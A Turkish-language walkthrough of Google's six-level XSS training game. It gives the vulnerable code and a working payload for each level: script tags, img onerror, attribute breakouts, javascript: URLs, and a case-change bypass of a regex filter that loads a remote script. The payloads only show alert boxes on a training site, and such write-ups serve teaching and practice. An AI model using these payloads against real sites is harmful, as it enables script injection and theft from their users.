Post

Google XSS Oyunu Çözümleri: Adım Adım Rehber (Türkçe)

Google XSS Oyunu Çözümleri: Adım Adım Rehber (Türkçe)

Video

Hazırlık

Arama kısmına girdiğimiz değer javascript fonksiyonlarını çalıştırabiliyor mu bunu deneyeceğiz.

Bunun için html’in içine gömebildiğimiz javascript kodlarını kullanacağız.

İçerisine javascript gömülmüş örnek html içeriği:

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<body>
<script>
let t = new Date();
document.body.innerHTML = "Tarih: " + t.getHours() + "." + t.getMinutes()
</script>
</body>
</html>

Buradaki gibi <script></script> taglerinin arasına girdiğimiz şeyler javascript kodlarıdır.

Bunu ilgili web sitesinin arama kısmında istediğimiz gibi çalıştırabiliyorsak zaafiyet var demektir.

Bu deneme anahtar kelimelerine payload denir.

Hazırsanız başlayalım. Hedefimiz: xss-game.appspot.com

Level 1

resim

Kullanılan payload: <script>alert(1);</script>

Burada yukarıda anlattığım gibi payload’ı <script></script> tagları olarak ele aldım.

Bizden istenen, bir alert() çalıştırmamız. alert() fonksiyonu javascriptte bir mesaj ve bir Tamam düğmesi içeren bir uyarı kutusu görüntüler.

resim

Anahtar kelime: Reflected XSS

Kullanılan payload: <script>alert(1)</script>

Level 2

resim

Burada önceki payload’ı kullanmak istediğimde çalışmadı. Sonra mesaj kutusunun ögelerini inceledim:

resim

Sonra dedim ki eğer <blockquote></blockquote> taglarını websitesi yerine kendim bitirirsem işe yarayabilir:

Payload: </blockquote><script>alert(1);</script>

resim

Bu da işe yaramadı. Sonra fotoğraf ekleme yöntemini kullandım. javascriptte fotoğraf gömerken onerror ile fonksiyon çalıştırabiliyoruz.

Örnek: <img src="image.gif" onerror="myFunction()">

Bunu yaparken error vermesi için fotoğrafın var olmaması ya da src’nin yanlış yeri işaret ediyor olması gerekiyor.

Basitçe payload’ı şu şekle soktum: <img src="x" onerror="alert(1);">

resim

Buna stored XSS deniyor. Yani biz bu alert() fonksiyonunu oraya gömdük ve artık o sayfaya giren herkes aynı mesajı görecek.

alert() yerine neler yazabileceğiniz hayal gücünüze kalmış.

Anahtar kelime: Stored XSS

Kullanılan payload: <img src="x" onerror="alert(1);">

Level 3

resim

Burada input vereceğimiz herhangi bir yer yok. Peki ne yapacağız? Tabii ki öğreneceğiz!

1
2
3
4
5
6
<script>
    function chooseTab(num) {
      // Dynamically load the appropriate image.
      var html = "Image " + parseInt(num) + "<br>";
      html += "<img src='/static/level3/cloud" + num + ".jpg' />";
      $('#tabContent').html(html);

Burada baktığımızda # karakterinden sonra gelen veri yani image number, chooseTab(num) ile alınıyor. Sonra da $('#tabContent').html(html); ile html içine ekleniyor.

Eğer gönderilen num değerini manipüle edebilirsek alert() fonksiyonunu çalıştırabiliriz.

Bunun için burayı inceliyoruz: html += "<img src='/static/level3/cloud" + num + ".jpg' />";

Burada bizim input olarak girdiğimiz değer integer’a çevrilmeden direkt olarak yazılmış.

Tıpkı Level 2 deki örnekte olduğu gibi düzenleyebilir miyiz? 2. leveldeki şu şekildeydi: <img src="x" onerror="alert(1);">

Şimdiki örnekte buraya gelen veri şu şekilde olsaydı: html += "<img src='/static/level3/cloud" + num + ".jpg' onerror="alert(1)"/>";

Javascript kodumuz çalışacaktı.

Bunu yapmak için # karakterinden sonra 'onerror='alert(1)' yazıp gönderirsek arkaplanda şu şekilde görünecek:

html += "<img src='/static/level3/cloud" + ''onerror='alert(1)'' + ".jpg' />";

Yani return edilecek html kodu şu şekilde olacaktı:

<img src='/static/level3/cloud'onerror='alert(1)'.jpg' />";

resim

O zaman url’yi şu şekilde değiştirsek: https://xss-game.appspot.com/level3/frame#'onerror='alert(1)' ve bu url’ye gidersek:

resim

Burada payloadı ' onerror='alert(1)// olarak ayarlasaydık return edilecek html şu şekilde olurdu:

<img src='/static/level3/cloud' onerror='alert(1)//.jpg' />";

Bu kullanımda ise // karakterleri ile .jpg kısmı yorum haline getiriliyor. Bu yöntem de çalışırdı.

Kullandığımız payload: 'onerror='alert(1)'

Anahtar kelime: DOM based XSS

Level 4

resim

index.html’de şu şekilde bir form var:

1
2
3
4
<form action="" method="GET">
  <input id="timer" name="timer" value="3">
  <input id="button" type="submit" value="Create timer"> </form>
</form>

buradaki timer a girilen değer, timer.html’e şu şekilde aktarılıyor:

1
<img src="/static/loading.gif" onload="startTimer('');" />

Buradan anladığımıza göre loading.gif yüklendiğinde, startTimer fonksiyonu, parametre olarak gönderilen timer değeri ile çalıştırılacak. startTimer() fonksiyonu kodları burada:

1
2
3
4
5
6
7
8
9
<script>
  function startTimer(seconds) {
    seconds = parseInt(seconds) || 3;
    setTimeout(function() { 
      window.confirm("Time is up!");
      window.history.back();
    }, seconds * 1000);
  }
</script>

Burada baktığımızda parametre olarak gönderilen seconds, sonradan seconds = parseInt(seconds) || 3; statement’i ile 3’e ya da integer değerine atanıyor. Yani bu fonksiyon doğru çalışıyor ve fonksiyonda bir şey aramayacağız. Zaafiyet arayacağımız yer burası:

1
<img src="/static/loading.gif" onload="startTimer('');" />

Eğer 5'+alert(1)+'5 değerini gönderirsek bu html şuna dönüşecektir:

1
<img src="/static/loading.gif" onload="startTimer('5'+alert(1)+'5');" />

Böylece startTimer() fonksiyonuna gönderilen parametre 5 + undefined + 5 olacak.

resim

Kullandığımız payload: 5'+alert(1)+'5

Anahtar kelime: DOM based XSS

Level 5

resim

Burada signup.html’i incelersek:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">
 
    <br><br>
    <a href="">Next >></a>
  </body>
</html>

<a href="">Next >></a> kodunu göreceğiz. Burada da bahsedildiği gibi a tagının href kısmında javascript fonksiyon çağrısı yapabiliyoruz. Örnek:

1
<a href="javascript:ornekFonksiyon()">link</a>

next değişkenine javascript:ornekFonksiyon() gönderirsek buraya göndermiş olacağız. Bunu alert ile değiştirelim: javascript:alert(1) ve gönderelim:

resim

İşe yaramadı. confirm.html içerisine bakarsak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    Thanks for signing up, you will be redirected soon...
    <script>
      setTimeout(function() { window.location = ''; }, 5000);
    </script>
  </body>
</html>

Parametre olarak gönderdiğimiz next, burada yönlendirme için kullanılıyor. O zaman confirm.html’e next değeri olarak javascript:alert(1) gönderirsek: https://xss-game.appspot.com/level5/frame/confirm?next=javascript:alert(1) olacak, 5 saniye bekleyecek ve normalde https://xss-game.appspot.com/level5/frame/welcome linkine göndermesi gerekirken setTimeout(function() { window.location = ''; }, 5000); statementinden kaynaklı olarak next değişkenine javascript:alert(1) değeri geldiği için alert() fonksiyonu çalışacak:

resim

Ayrıca signup.html ile bekleme olmadan manipüle edebiliriz. https://xss-game.appspot.com/level5/frame/signup?next=confirm gördüğümüzde next değeri sondaki confirm olacak. Bunu manipüle edersek sonraki next değeri bizim gireceğimiz değer olur. Bu urlyi https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1) olarak değiştirirsek:

resim

resim

Anahtar kelime: html attribute xss

Kullanılan payload: javascript:alert(1)

Level 6

resim

Burada uzaktan bir js dosyası çağırıp alert() verdirmemizi istiyor. Url’ye bakacak olursak websitesinin root klasöründen /static/gadget.js i kendisi çağırmaya çalışmış. Burayı manipüle edebiliriz.

Buradan edindiğimiz bilgiler üzerinden #data:text/plain,alert(1) şeklinde uzaktan çağrılmış gibi veri gönderebiliyoruz. O zaman url’yi düzenlersek: https://xss-game.appspot.com/level6/frame#data:text/plain,alert(1) elde ederiz. Go tuşuna basarsak:

resim

Peki uzaktan js enjeksiyonu nasıl yapacağız?

Bunun için github gist, paste siteleri vb. denedim ancak işe yarayan sadece glitch oldu. Gösterdiğim gibi js dosyasını urlye giriyoruz:

Girdiğim url: https://xss-game.appspot.com/level6/frame#https://xss-game-appspot-com-level-6.glitch.me/i.js

resim

Olmadı. Peki neden? Çünkü kaynak kodları incelersek (index.html):

1
2
3
4
5
6
7
8
<script>
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
  setInnerText(document.getElementById("log"),
    "Sorry, cannot load a URL containing \"http\".");
  return;
}
</script>

Berbat bir uzaktan js yükleme koruması ile karşılaşıyoruz. Bu basit bir regex ile hazırlanmış koruma. Atlatmak için binbir farklı yöntem kullanılabilir.

Ben bunu kullanmayı yeterli buldum: https://xss-game.appspot.com/level6/frame#Https://xss-game-appspot-com-level-6.glitch.me/i.js

Sadece urlmin başındaki https’i Https olarak değiştirdim ve sonuç:

resim

Anahtar kelime: remote code execution js

Kullanılan payload: https://xss-game.appspot.com/level6/frame#Https://xss-game-appspot-com-level-6.glitch.me/i.js

This post is licensed under CC BY 4.0 by the author.